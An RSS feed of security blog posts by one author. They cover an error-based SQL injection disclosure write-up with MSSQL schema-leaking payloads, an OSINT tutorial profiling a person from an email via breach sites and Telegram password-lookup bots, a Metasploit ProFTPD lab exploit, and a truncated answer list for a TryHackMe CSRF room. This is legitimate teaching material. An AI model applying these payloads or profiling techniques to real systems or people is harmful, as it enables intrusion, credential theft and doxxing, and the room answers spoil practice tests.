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            <title><![CDATA[From Bug to Schema: Exploring Error-Based SQL Injection on an Authenticating Portal]]></title>
            <link>https://infosecwriteups.com/from-bug-to-schema-exploring-error-based-sql-injection-on-an-authenticating-portal-be905548ada2?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/be905548ada2</guid>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 20:11:03 GMT</pubDate>
            <atom:updated>2026-09-17T04:41:01.191Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Case Study Analysis of how I identified an Error-Based SQL Injection vulnerability in a production environment via (VDP).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WfgAmol7IxkLnyCEZ0gMMA.png" /></figure><blockquote><strong>Disclaimer:</strong> This paper is only intended for informative and educational use. The vulnerability described here in has been identified by a Vulnerability Disclosure Program (VDP) during a designated testing period. All sensitive information that includes identifiers, domain names, and any other organization-related information has been properly anonymized or substituted with generic terms to comply with non-disclosure requirements and target privacy. No data modification has occurred in the course of anonymizing the test data.</blockquote><h4><strong>Step 1: S</strong>tarting from Dorking (The Entry Point)</h4><p>When performing a vulnerability assessment through a Vulnerability Disclosure Program (VDP), my first task was to map the attack surface of the target. To discover the unknown or unreported assets, I resorted to passive reconnaissance with the help of search engine optimization filters, famously called “<strong>Google Dorking</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DBKMSTowsuPePUrv12QXIg.png" /><figcaption>By using a simple wildcard domain query, I filtered out the main website to look purely for exposed subdomains: site:*.example.com</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eG8FS5UDIC7Rqf1XH744OQ.png" /><figcaption>Among the indexed results, a specific subdomain stood out. It was hosting an online <strong>Management Information System (MIS) Portal</strong>. Navigating to the page revealed a standard login form requiring a valid username and password to proceed.</figcaption></figure><h4>Step 2: Breaking the Query Logic with a Single Quote</h4><p>SQL injection lifecycle always starts by identifying the spaces where inputs will interface directly with the database interpreter. In the process of normal mapping, I attacked the well-known input parameter space (<strong>Username field</strong>).</p><blockquote>To test how the backend handled unexpected inputs, I entered a single quotation mark (&#39;):</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ndwAhKUImYbddPUpdWY9mQ.png" /><figcaption>The backend server was quick to reply with the details of the crash in the database:</figcaption></figure><blockquote>The error showed that the application had used dynamic query generation by simply using strings (e.g., SELECT * FROM users WHERE user = &#39;INPUT&#39;). Through entering an odd number of quotation marks, the interpreter would crash, giving an instant response that no input escaping whatsoever was implemented.</blockquote><h4>Step 3: Repairing the Syntax Structure</h4><p>Before any extraction of information, the researcher must demonstrate his/her mastery of the query stream logic by correcting the faulty syntax logic.</p><p>This was done by commenting out the remainder of the developer’s code using the SQL inline comment syntax ( - - ) as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTxgiFRVTEqospPAcneAPA.png" /><figcaption>Rather than crashing the database engine, the application cleanly threw an authentication error message that said, “Invalid Username/Password. Please try again.”</figcaption></figure><blockquote>This verified the execution alignment. With the help of a close-quote along with a backend comment string, I was able to manage the state of operation of the web application database stream.</blockquote><h4>Step 4: Triggering Context Discovered via Data Conversions</h4><p>Due to the fact that the database engine was generating detailed structural errors to the client’s browser, I opted for the Error Based Extraction methodology.</p><p>This is achieved by making the database engine perform the query and fetch the text value and then attempt to change the text value to some other incompatible data type, such as <strong>INT</strong>. This causes the application to fail, and the result string value will appear inside the error message returned by the database.</p><p>Without inspecting the user’s data, to confirm the system context, I accessed the environment configuration variables:</p><pre>Input: &#39; AND 1=CONVERT(INT, @@version)--<br><br>This payload triggers a type conversion error in Microsoft SQL Server when attempting to convert its text version string to an integer. In case the application shows any database errors, the database version is disclosed in the error message.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACjv_lcLubVRsZ7YYteOJQ.png" /><figcaption>The output from the system generated a failure to explicitly convert the data types, exposing the technology stack behind it</figcaption></figure><blockquote>This same payload was replicated through environmental functions to validate the schema database name and the role privileges of the operational user without accessing any application logs.</blockquote><h4>Step 5: Proving Data Extraction Legally (Schema Mapping)</h4><p>For the engagement rules for this particular VDP, it was necessary that the researches prove their ability to retrieve data for <strong>high</strong> impact triaging.</p><p>In order to do this responsibility ethically, I steered clear of using any queries to look for credential or account tables. Rather, I sent my data-type conversion payloads to the system’s own system object indices (<strong>sysobjects </strong>and <strong>syscolumns</strong>) to demonstrate that I could read data structures out-of-band.</p><p><strong>Enumerating Table Assets:</strong></p><pre>Input: &#39; AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype=&#39;U&#39;))--<br><br>The payload causes an SQL Server type conversion exception by attempting to convert the first user-defined table name to an integer value. In case there are database exceptions shown in the application, the name of a database table is exposed through the error message.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vu8DgNeDiT1zSnOA2AVbUg.png" /><figcaption>Response Leaked an internally defined system tracking table name of ‘dirtelephone’ in the middle of the data type conversion error message text.</figcaption></figure><p><strong>Enumerating Column Assets:</strong></p><p>Using the obtained table name, I asked for structural attribute lists:</p><pre>Input: &#39; AND 1=CONVERT(INT,(SELECT TOP 1 name FROM syscolumns WHERE id = OBJECT_ID(&#39;Target_Table&#39;)))--<br><br>The payload causes an SQL Server type conversion exception by attempting to convert the first user-defined table name to an integer value. In case there are database exceptions shown in the application, the name of a database table is exposed through the error messag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtUko_DnFfSZCZxR-PoodQ.png" /><figcaption>The Response Effectively identified a metadata field name ‘City’ in a particular column from the error stream.</figcaption></figure><h4>Conclusion &amp; Responsible Reporting</h4><p>Here, I was sure that arbitrary read impact had been successfully tested to its fullest extent. I made screenshots of all steps done, structured the payloads, and identified the environmental context parameters.</p><p>I formatted the findings using the Common Vulnerability Scoring System (CVSS v3.1), determining an objective base score of <strong>9.8 (Critical Severity)</strong> due to the unauthenticated public entry point and total confidentiality compromise.</p><h4>Key Takeaway for Readers</h4><p>In demonstrating the <strong>SQL Injection</strong> vulnerability impact in bug bounties, avoid extracting any data from the production database. It is only sufficient to reveal database names or system configuration defaults to get a <strong>Critical</strong> level validation without crossing any laws in Safe Harbor provisions.</p><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*Hip97QH-XLLQoqM8.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be905548ada2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-bug-to-schema-exploring-error-based-sql-injection-on-an-authenticating-portal-be905548ada2">From Bug to Schema: Exploring Error-Based SQL Injection on an Authenticating Portal</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[How I Gather Intelligence Using Just an Email Address | The Power of HUMINT]]></title>
            <link>https://0x7ipher.medium.com/how-i-gather-intelligence-using-just-an-email-address-the-power-of-humint-50fa2f507467?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/50fa2f507467</guid>
            <category><![CDATA[humint]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[open-source-intelligence]]></category>
            <category><![CDATA[digital-footprint]]></category>
            <category><![CDATA[email-address-osint]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 18:22:41 GMT</pubDate>
            <atom:updated>2026-06-06T18:22:41.319Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>In this story, learn with me how to gather as much target information as possible legally and ethically using open-source intelligence.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lXsUKpqYhAXO77OOMyHoXA.jpeg" /></figure><p><strong>Assalam o Alaikum</strong>, this is<strong> Muhammad Saad</strong>. I have been working in the field of Offensive Security for more than two years. Over the past two months, I have been actively working in <strong>Open Source Intelligence (OSINT)</strong> and have gained a significant amount of knowledge and practical experience in this domain.</p><p>With this experience, I felt it was the right time to share some of the insights and techniques I have learned with my audience. So today, I am here to introduce and demonstrate <strong>HUMINT </strong>techniques.</p><blockquote><strong>Disclaimer:</strong> All information used in this story is obtained from publicly available sources. This content is strictly for educational purposes, and no real individual is being targeted or harmed. I am using a demo email address solely to demonstrate techniques and share knowledge.</blockquote><blockquote>For this story, my case study is based on the demo email address: <strong>adamsmith@gmail.com</strong></blockquote><h3>1) Google Dorking</h3><p>The first thing I’m going to do is use Google dorking to identify where this email address appears across different websites and publicly accessible files, such as PDFs, in order to gather initial intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evgvox0JCqLF_xKXy-SCGQ.png" /><figcaption>Simple Google Dork</figcaption></figure><p>with a very first search I did’nt get any solid website to reveal infromation. Then I tried diffferent dork from where I founded a pdf file looking like it contains the actual name whose email address is this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NY2w9iBfIeWlAIdn-BiXNg.png" /><figcaption>Google Dork to target on PDF files</figcaption></figure><p>When I opened this <strong>PDF</strong> file, I found the actual user names. These matched the email address in this case, but the information is still valuable because users do not always include their real names in email addresses. Instead, they often use <strong>nicknames</strong>, <strong>hobbies</strong>, or <strong>pet names</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*nKUb6uXm6b5modfQkUxe1g.png" /><figcaption>The real name of user is Adam Smith</figcaption></figure><p>Continuous dorking also revealed a phone number associated with <strong>Adam Smith.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ob4WoOGNimfQDwvQIOMTw.png" /><figcaption>Adam Smith Phone Number</figcaption></figure><h3>2) Email Lookup</h3><p>In this section we will search for the social media connected with this email address as well as try to fetch some profile images that are associated with this email address.</p><h4>Epieos</h4><p>The first tool I’m using is <a href="https://epieos.com/"><strong>epieos.com</strong></a>, an OSINT search engine that allows email reverse lookups. In this case, we did not obtain much additional information because the results require a premium account. Let’s proceed using the links provided below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*n32NzvhRW6uzeVgUzB9g3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZvXyWrP94AzkuKNtDqAmQ.png" /><figcaption>Google Maps link showing where this user left a review.</figcaption></figure><p>By following the link, we discovered something interesting: the user has reviewed around <strong>18 places</strong> and uploaded approximately <strong>55 photos</strong>, which were likely shared while leaving those reviews.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0oGPwyjqqVzcHXNKlTtSMw.png" /><figcaption>The picture he publicly posted on July 21, 2007.</figcaption></figure><p>The final link I obtained from <strong>Epieos</strong> was a <strong>Wayback Archive</strong> result, which provides historical snapshots of the target’s online presence. It contains various photos and content associated with the target that have changed over time. The image we recovered was retrieved directly from this Wayback Archive snapshot.</p><h4>Behind The Email</h4><p>The second email lookup tool I’m going to use is <a href="https://behindtheemail.com/"><strong>Behind The Email</strong></a>, one of my favorite <strong>open-source intelligence</strong> tools for gathering information from an email address. It is an <strong>OSINT </strong>platform designed to help identify and reveal publicly available information associated with the person behind an <strong>email address</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*FDAQS8cGJSUG-BWp-tlTBQ.png" /><figcaption>Usernames Associated with the Email Address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*xr8Ml1KIBlFUJ0uv9M9z5Q.png" /><figcaption>The User’s Location &amp; when the associated accounts were created</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*i75i8pHNfFMRhc1yeuTsEQ.png" /><figcaption>We also discovered along with the current profile pictures being used on those accounts.</figcaption></figure><p>With a single <strong>search</strong>, I uncovered a significant amount of <strong>information </strong>that I can systematically enumerate and analyze to gather additional valuable insights from the associated social media accounts.</p><h3>3) Linked Accounts With Email Address</h3><p>The <strong>accounts </strong>identified through the previous tools may not provide a complete picture. There could be additional accounts associated with the email address that have not yet been discovered. To expand our investigation, we will use a specialized <strong>CLI-based tool</strong> designed specifically for identifying and correlating accounts linked to an <strong>email address </strong>across multiple platforms.</p><h4>Holehe</h4><p>Holehe is an <strong>open-source</strong> tool that can be downloaded from <strong>GitHub</strong>. It helps determine whether an <strong>email address </strong>is registered on various online services and platforms. By leveraging publicly accessible account-recovery mechanisms, it can identify services where an email address is in use and, in some cases, retrieve limited account-related information exposed through password recovery workflows.</p><p>You can find the project here: <a href="https://github.com/megadose/holehe">https://github.com/megadose/holehe</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7APE7AEtcDCvzIbbnGXsZg.png" /><figcaption>The green color indicates that an account exists on those platforms.</figcaption></figure><p>Based on these results, I was able to confirm that the email address is associated with accounts on several platforms, including <strong>Twitter, Spotify, Team Treehouse, Replit, Microsoft 365, LastPass, Duolingo, Adobe</strong>, and others. This helps expand the target’s digital footprint and provides additional avenues for identifying publicly available information across multiple services.</p><h4>Namechk</h4><p>The second tool I used for <strong>username </strong>enumeration is <a href="https://namechk.com/"><strong>Namechk</strong></a>, which helps identify <strong>usernames </strong>across a wide range of <strong>websites </strong>and <strong>social media platforms</strong>. It is a useful <strong>OSINT </strong>tool for discovering a person’s online presence and uncovering accounts that may be linked through a common <strong>username</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*EzJ4Cv0WqXxDvSgVOowXQg.png" /></figure><h3>4) Data Breaches</h3><p>In this section, we will check whether the target’s information appears in any publicly known data breaches. A <strong>data breach</strong> occurs when attackers gain unauthorized access to sensitive user data, such as email addresses, usernames, passwords, phone numbers, and other personal information.</p><p>For example, if <strong>Adam Smith</strong> created an account on a service that was later breached, some of his information may have been exposed and become part of publicly available breach records. exposed and subsequently become part of publicly known breach records.</p><h4><strong>HIBP (Have I been Pwned)</strong></h4><p>Let’s start with <a href="https://haveibeenpwned.com/"><strong>Have I Been Pwned (HIBP)</strong></a>, a popular platform that checks whether an email address has been exposed in known data breaches. It can reveal which breaches the email appeared in and what types of data may have been compromised. Let’s search our target email address and review the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8IHrRZszZpIyR159zNUEYQ.png" /><figcaption>Email Addres founded in 91 Data Breaches</figcaption></figure><p>At the first search, we found that this email address appeared in <strong>91 data breaches</strong>, indicating extensive exposure across multiple incidents. Some notable breaches include:</p><ul><li><strong>CarGurus</strong></li><li><strong>Betterment</strong></li><li><strong>Under Armour</strong></li><li><strong>And many others</strong></li></ul><p>This highlights how breach data can provide valuable insights into a target’s digital footprint during an <strong>OSINT </strong>investigation.</p><h3>5) Leaked Databases</h3><p>In this section, we will search historical breach databases to determine whether Adam Smith’s email address appears in any leaked records. If a match is found, the exposed data may include information such as usernames, passwords, phone numbers, or other details that were compromised during past breaches.</p><h4>LeakRadar</h4><p>The first tool I used to identify leaked data was <a href="https://members.leakradar.io/en/search"><strong>LeakRadar</strong></a>. On the initial search, it revealed multiple records associated with the target <strong>email address</strong>. While full details require a premium subscription, the results indicate that accounts linked to services such as <strong>Facebook</strong> and <strong>Google </strong>have appeared in leaked datasets and may still be present in publicly known breach databases. This provides further evidence of the target’s exposure across multiple data breaches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kz3TBK7ImUxLOiDFcgf4Lg.png" /><figcaption>More than 25 Leaked Accounts Data</figcaption></figure><h4>LeakPeak</h4><p>The second platform I used is <a href="https://leakpeek.com/"><strong>LeakPeak</strong></a>, which is used to identify publicly exposed credentials associated with an email address. After searching <strong>Adam Smith’s</strong> email, LeakPeak returned results showing leaked passwords along with the <strong>services/platforms</strong> where the accounts were created.</p><p>However, only partial password data (such as the first 3–5 characters) was visible, and the full credentials were not accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*JElWk3l1HChXr72xjGEVtQ.png" /><figcaption>Exactly 25 entries as we got from Leakradar</figcaption></figure><h4>IntelligenceX</h4><p><a href="https://intelx.io/"><strong>IntelligenceX</strong></a> is a well-known platform used for searching across large collections of <strong>leaked </strong>and <strong>historical data</strong>. It is widely used by <strong>researchers </strong>and <strong>OSINT </strong>professionals because it indexes extensive breach datasets and publicly available information.</p><p>However, accessing full leaked records is limited, and advanced results typically require a paid subscription.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UN3r03I1WK9ptWqhjcFuLg.png" /><figcaption>I selected the Public Leak Options from Advanced search</figcaption></figure><p>After searching on<strong> IntelligenceX</strong>, we found <strong>25 files and 1 CSV</strong> record associated with the <strong>email address</strong>. This indicates that the email appears across multiple leaked datasets.</p><p>These results align with previous findings from <strong>LeakPeek </strong>and L<strong>eakRadar</strong>, confirming repeated exposure across different breach sources. In the next step, we will open the first file to analyze the type of exposed data and understand the nature of the records included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4autQedokH5NNLo2JBDgA.png" /><figcaption>We founded the email address along with password</figcaption></figure><p>The email and password data we identified is primarily associated with the <strong>Collection #1</strong> data breach, which was disclosed by security researchers in 2019.</p><p>Instead of manually reviewing each individual file, we will use an alternative method that I typically rely on in my investigations to streamline the analysis process.</p><h3>6) Telegram Intelligence</h3><p>This is the final section, where we will collect and analyze leaked information using <strong>Telegram-based OSINT</strong> tools and <strong>infostealer intelligence sources</strong>. We will use a Telegram bot to retrieve exposed credentials and related data, along with infostealer logs to identify any compromised information linked to the target.</p><h4>PasswordSearchBot</h4><p>A well-known <strong>Telegram-based</strong> password search bot is used to query leaked and exposed databases using a single email address. By entering the target email, it aggregates and displays any associated sensitive information found in publicly available breach data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*DqWwjEYY5WRry4s3Wq1wKA.jpeg" /></figure><p>We obtained multiple passwords associated with the email address of <strong>Adam Smith</strong>.</p><h4>Cavalier (Hudson Rock Telegram Bot)</h4><p>Here, I am using the <strong>Cavalier (Hudson Rock) Telegram bot</strong> to gather infostealer intelligence. An <strong>infostealer</strong> (information stealer) is a type of malware that infects a device and silently collects sensitive data such as usernames, passwords, cookies, and other stored credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*SlKoFp1rURmvsliprwiMzA.jpeg" /><figcaption>The infected system details, including the computer name and IP address, were also retrieved from the infostealer logs.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*2fus1M4H1ndTaywhhkT9Vw.jpeg" /><figcaption>No antivirus software was detected on the system. Additionally, several email addresses and associated passwords were found within the compromised data extracted from the infected computer.</figcaption></figure><p>Using the <strong>Cavalier Telegram bot</strong>, we retrieved infostealer intelligence linked to the target email. The data indicates significant exposure across compromised systems.</p><p>Key findings include:</p><ul><li><strong>17</strong> corporate and <strong>297</strong> user credentials identified</li><li>Evidence of a <strong>Windows 10 Pro</strong> infected system</li><li>System metadata (<strong>IP address</strong>, <strong>device name</strong>, <strong>malware path</strong>)</li><li>Exposed logins and partially revealed passwords.</li></ul><p>Overall, the results suggest exposure through <strong>infostealer malware logs rather than traditional data breaches</strong>.</p><h3>What Intelligence we discovered using just an email address ?</h3><ul><li>The user’s real name: <strong>Adam Smith.</strong></li><li>A phone number associated with him: <strong>+44 (0)7123 1234.</strong></li><li>A historical photograph recovered through the <strong>Wayback Archive</strong>, which was originally captured on <strong>June 6, 2007</strong>.</li><li>The <strong>profile pictures</strong> currently being used on the associated accounts.</li><li>Multiple online accounts associated with the <strong>email address </strong>(<strong>e.g., Twitter, Replit, Office 365, Duolingo, TeamTreehouse, Adobe, LastPass, Spotify</strong>)</li><li>Presence in numerous <strong>breach databases</strong> (e.g., <strong>Collection #1</strong> and others)</li><li>Partial <strong>passwords </strong>and account data found in across <strong>25 leaked datasets</strong>.</li><li>Evidence of compromised systems containing stored <strong>logins</strong>, <strong>passwords</strong>, and <strong>system metadata.</strong></li></ul><p>This investigation demonstrates how a single email address can reveal a <strong>large digital footprint across OSINT sources, data breaches, and infostealer logs</strong>, highlighting the importance of good cybersecurity hygiene and credential management.</p><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*oD2Vtt0EfuBbnrFW.jpg" /><figcaption>Clap if you love it</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50fa2f507467" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[ProFTPD 1.3.5 Remote Code Execution (CVE-2015–3306) | Hackviser Lab Writeup]]></title>
            <link>https://0x7ipher.medium.com/proftpd-1-3-5-remote-code-execution-cve-2015-3306-hackviser-lab-writeup-4d2e1b19ed81?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d2e1b19ed81</guid>
            <category><![CDATA[proftpd]]></category>
            <category><![CDATA[cve-2015-3306]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[hackviser-lab]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Sun, 31 May 2026 10:50:03 GMT</pubDate>
            <atom:updated>2026-05-31T10:55:50.928Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Step-by-step exploitaion of ProFTPD 1.3.5 Remote Code Execution (CVE-2015–3306) by Hackviser Lab</blockquote><p>Assalamoalaikum! I hope you are all doing well and staying safe. In this write-up, we will explore an interesting vulnerability in <strong>ProFTPD 1.3.5 Remote Code Execution (CVE-2015–3306)</strong> by solving a Hackviser room step by step in detail. This will help us understand how the vulnerability works, how it can be exploited, and how initial access can be achieved in a controlled lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uw4x_5XpERY6e67RA-OOTA.jpeg" /></figure><h3>Reconnaissance and Scanning</h3><p>I did’nt need to scan all of the open ports as vulnerability is mentioned for FTP service, I only tried to scan for port 21.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*Q9HrgJjMJc8ZqjJyW9u6_A.png" /><figcaption>An Nmap scan was performed against port 21 to enumerate the FTP service and identify its version. The scan confirmed that the target was running ProFTPD 1.3.5.</figcaption></figure><p>When I searched the FTP service ProFTPD 1.3.5 in Searchsploit, I found that this version is associated with the known vulnerability CVE-2015–3306. I also identified a corresponding exploit module available in the Metasploit Framework, which can be used during authorized security testing to demonstrate and validate potential unauthorized access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7orKa8m1ChRnFGI08PiOxw.png" /><figcaption>Searchsploit Results for ProFTPD 1.3.5</figcaption></figure><h4>A breif introduction to CVE-2015–3306</h4><p>ProFTPD CVE-2015–3306 is a <strong>critical vulnerability</strong> in ProFTPD version 1.3.5, specifically in the mod_copy module. It allows a remote attacker to <strong>read or write arbitrary files</strong> on the server using the FTP commands SITE CPFR (“copy from”) and SITE CPTO (“copy to”).</p><p>An attacker can abuse these commands to:</p><ul><li>Copy sensitive files (like password files or configuration files)<br>Upload malicious files such as web shells</li><li>Potentially gain remote code execution (<strong>RCE</strong>) if the server hosts a website or executable scripts</li><li>The vulnerability requires little to no authentication in many misconfigured setups and has a <strong>CVSS</strong> score of<strong> 10.0</strong>, meaning maximum severity</li></ul><h3>Initial Access</h3><p>To exploit the identified vulnerability, the Metasploit Framework module exploit/unix/ftp/proftpd_modcopy_exec was used during the authorized security assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*w-ThFDkokr0h4nH2ELUwyA.png" /><figcaption>Metasploit Framework Module Used to Exploit the Known Vulnerability</figcaption></figure><p>After selecting the module, the LHOST parameter was configured with the local attacker machine’s IP address, while the RHOSTS parameter was set to the IP address of the remote vulnerable server. The module was then executed to initiate the exploitation process during the authorized security assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*8SS7z1otIMtxW32maOYGCg.png" /><figcaption>The initial exploit attempt failed due to an incorrect SITEPATH configuration. The default SITEPATH used by the module is <strong>/var/www/</strong>, however, in this environment the correct web root is different and needed to be adjusted accordingly.</figcaption></figure><p>By accessing the target over port 80 in a browser, the Apache2 Debian Default Page was displayed. The default document root path can be identified directly from the “<strong>Document Root</strong>” section on this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7B4jZmtLrzk16GlvnH8yw.png" /><figcaption>This confirmed that the HTTP server is hosted from /var/www/html instead of /var/www.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*NSZc_Y_LQEQgkWOgqcIJpQ.png" /><figcaption>The next step is to update the default SITEPATH to the correct web root identified in the environment.</figcaption></figure><p>The module was executed after updating the configuration. Once Session 1 was opened, it confirmed that the module was correctly configured and successfully exploited the target. The next step is to interact with the established session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*-XBVHvjB_04wO1QjwDiVxA.png" /><figcaption>Exploitation successful</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*EX6mmY3GKeJ6qsUDtRUpsw.png" /><figcaption>We are now inside a web shell, confirming successful remote code execution (RCE) on the target system.</figcaption></figure><h3>Enumeration</h3><p>After gaining initial access, the objective is to retrieve the secret.txt file located in the root (/) directory of the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*cXlIfUJPTOF2uwh5U5RqJQ.png" /><figcaption>secret.txt</figcaption></figure><p>In a web shell, commands are interpreted similarly to a terminal in Kali Linux, but functionality is often restricted. Available commands can typically be listed using help.</p><p>Since direct access to secret.txt using cat is restricted in this environment, the file will be downloaded to the local Kali machine for further inspection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*N_Yf5nROfEFG9h427F2RVA.png" /><figcaption>As observed, the secret.txt file has been successfully downloaded from the remote server to the local home directory. The next step is to open and review its contents.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*QocB72_UG-PkQoS4CXwWOA.png" /><figcaption>secret.txt</figcaption></figure><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/0*7N1noxyBkmUd2WIF.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d2e1b19ed81" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[CSRF Introduction | TryHackMe Room Write-up]]></title>
            <link>https://0x7ipher.medium.com/csrf-introduction-tryhackme-room-write-up-e9f10794b3b2?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9f10794b3b2</guid>
            <category><![CDATA[red-raffle]]></category>
            <category><![CDATA[jr-penetration-tester]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Thu, 28 May 2026 18:44:45 GMT</pubDate>
            <atom:updated>2026-05-28T18:44:45.744Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Understand CSRF vulnerability and practice exploiting insecure state-changing requests.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WsmNLjcn9Jw4NO1NDdHaw.jpeg" /></figure><blockquote><em>Assalam o Alaikum,</em></blockquote><blockquote><em>As we all know, the TryHackMe “</em><strong><em>Red Raffle — Jr. Pentester Path</em></strong><em>” is now live for participation.</em></blockquote><blockquote><em>I’m here to help all students who are facing difficulties while solving the rooms. Instead of wasting time, you can check out my write-ups for guidance and support.</em></blockquote><blockquote><em>Feel free to go through them and improve your learning experience.</em></blockquote><h3>Task 2 What is CSRF</h3><ol><li>What relationship between the browser and the web application does a CSRF attack abuse? <strong><em>trust</em></strong></li><li>What does the browser automatically include with requests after login? <strong><em>cookies</em></strong></li></ol><h3>Task 3 Why CSRF Works</h3><ol><li>What type of action is usually required for a CSRF attack to succeed? <strong><em>State-changing</em></strong></li></ol><h3>Task 4 Finding CSRF Vulnerabilities</h3><ol><li>What HTTP request method do many developers incorrectly believe prevents CSRF? <strong><em>POST</em></strong></li><li>What mechanism is commonly used to protect applications from CSRF attacks? <strong><em>csrf-tokens</em></strong></li></ol><h3>Task 5 Exploitation using HTML Form</h3><ol><li>What is the 